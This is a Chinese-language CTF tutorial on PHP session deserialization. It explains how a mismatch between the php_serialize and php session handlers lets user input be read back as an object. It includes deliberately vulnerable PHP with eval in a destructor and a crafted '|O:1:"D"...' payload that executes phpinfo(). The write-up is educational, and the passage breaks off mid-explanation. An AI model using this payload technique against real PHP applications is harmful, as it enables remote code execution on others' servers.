📞CTF-Web-PHPSession反序列化
基础知识 1.当session_start()被调用时,或者php.ini中的session.auto_start为1,则启用session管理,如果session存在,则使用对应的处理器访问使用在了本地的session文件,否则就新建session文件。 2.php有三种SESSION处理器,处理器负责读写session文件,有三种处理器对应的三种存储格式。如下 //三种处理器 1.php处理器 存储格式:键名1|序列化$_SESSION[键名1]的值;键名2|序列化$_SESSION[键名2]的值;... 2.php_serialize处理器(php>=5.5.4) 存储格式:序列化$_SESSION后的值 3.php_binary处理器 存储格式:键名1长度对应的ASCII字符+键名1+$_SESSION[键名1]的序列化值;键名2长度对应的ASCII字符+键名2+$_SESSION[键名2]的序列化值;... 因为存储的时候序列化了,所以读取的时候会反序列化 3.ini_set函数:https://www.php.net/manual/zh/function.ini-set.php Session反序列化漏洞的成因 session反序列化漏洞是在读取本地session的时候处理器选择错误引起的漏洞。 漏洞复现 这里用橙子科技工作室提供的代码。 save.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?> vul.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D{ var $a; function __destruct(){ eval($this->a); } } ?> 需要先访问save.php以php_serialize处理器来保存session文件,然后再访问vul.php用php处理器来读取session文件。 先根据vul提供的class来构造反序列化需要用的序列化内容 <?php class D{ var $a="phpinfo();"; function __destruct(){ eval($this->a); } } echo serialize(new D()); ?> 输出内容是 O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} 然后构造a的值 |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 访问 save.php?a= |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 然后再访问vul.php会发现已经出现phpinfo了 解释 可以看到成功触发了。为什么呢? 可以查看服务器上的session文件 因为存储的时候使用php_serialize处理器, $_SESSION[‘ben’] = $_GET[‘a’]; ...